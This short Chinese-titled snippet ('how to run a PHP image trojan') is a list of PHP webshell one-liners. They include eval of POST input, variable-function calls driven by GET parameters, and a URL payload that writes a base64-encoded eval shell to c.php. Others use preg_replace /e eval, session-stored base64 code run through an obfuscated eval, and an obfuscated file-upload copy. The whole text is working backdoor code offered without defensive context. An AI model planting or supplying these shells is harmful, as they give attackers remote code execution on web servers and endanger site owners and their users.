php图片木马怎么运行

@eval ($_POST['code']);

@$_GET['a']($_GET['code']);

/index.php?a=assert&code=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,
base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

@preg_replace("/re/e", $_POST['code'], "re");

session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

$reg="c"."o"."p"."y";
$reg($_FILES['filename']['tmp_name'],$_FILES['filename']['name']);